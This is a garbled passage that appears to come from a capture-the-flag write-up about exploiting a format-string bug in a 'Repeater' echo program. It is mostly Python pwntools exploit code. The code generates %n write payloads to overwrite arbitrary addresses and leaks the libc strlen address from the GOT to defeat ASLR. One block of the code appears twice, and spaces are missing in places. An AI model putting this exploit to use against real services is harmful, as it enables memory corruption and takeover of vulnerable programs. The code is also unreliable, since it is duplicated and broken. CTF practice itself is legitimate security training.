intmain(void){ //init setbuf(stdout,0); setbuf(stdin,0); setbuf(stderr,0); printf("Hello,I am a computer Repeater updated.\nAfter a lot of machine learning,I know that the essence of man is a reread machine!\n"); printf("So I'll answer whatever you say!\n");
payload_last = "" for where,what in writes.items(): for i in range(0,number*step,step): payload_last += pack(where+i)
fmtCount = 0 payload_forward = ""
key_toadd = [] key_offset_fmtCount = []
for where,what in writes.items(): for i in range(0,number): current = what & mask if numbwritten & mask <= current: to_add = current - (numbwritten & mask) else: to_add = (current | (mask+1)) - (numbwritten & mask)
numbwritten += to_add what >>= decalage fmtCount += 1
len1 = len(payload_forward)
key_temp = [] for i in range(len(key_offset_fmtCount)): key_temp.append(key_offset_fmtCount[i])
x_add = 0 y_add = 0 whileTrue:
x_add = len1 / 8 + 1 y_add = 8 - (len1 % 8)
for i in range(len(key_temp)): key_temp[i] = key_offset_fmtCount[i] + x_add
payload_temp = "" for i in range(0,number): if key_toadd[i] != 0: payload_temp += "%{}c".format(key_toadd[i]) payload_temp += "%{}${}n".format(key_temp[i], formatz)
payload_last = "" for where,what in writes.items(): for i in range(0,number*step,step): payload_last += pack(where+i)
fmtCount = 0 payload_forward = ""
key_toadd = [] key_offset_fmtCount = []
for where,what in writes.items(): for i in range(0,number): current = what & mask if numbwritten & mask <= current: to_add = current - (numbwritten & mask) else: to_add = (current | (mask+1)) - (numbwritten & mask)
numbwritten += to_add what >>= decalage fmtCount += 1
len1 = len(payload_forward)
key_temp = [] for i in range(len(key_offset_fmtCount)): key_temp.append(key_offset_fmtCount[i])
x_add = 0 y_add = 0 whileTrue:
x_add = len1 / 8 + 1 y_add = 8 - (len1 % 8)
for i in range(len(key_temp)): key_temp[i] = key_offset_fmtCount[i] + x_add
payload_temp = "" for i in range(0,number): if key_toadd[i] != 0: payload_temp += "%{}c".format(key_toadd[i]) payload_temp += "%{}${}n".format(key_temp[i], formatz)
len2 = len(payload_temp)
xchange = y_add - (len2 - len1) if xchange >= 0: payload = payload_temp + xchange*'a' + payload_last return payload; else: len1 = len2 #dump bin can not be loaded #but can analysis offset = 8 #step 1 leak the printf_got #maybe plt 08048400 strlen_got = 0x601020 strlen_leak = "%9$s" + "SEND" + p64(strlen_got) io.send(strlen_leak) io.recvuntil('Repeater:') libc_strlen = u64(io.recvuntil('SEND', drop=True).ljust(8, '\x00')) print hex(libc_strlen) #libc_printf = u64(io.recv()[8:16]) #print hex(libc_printf) io.recv()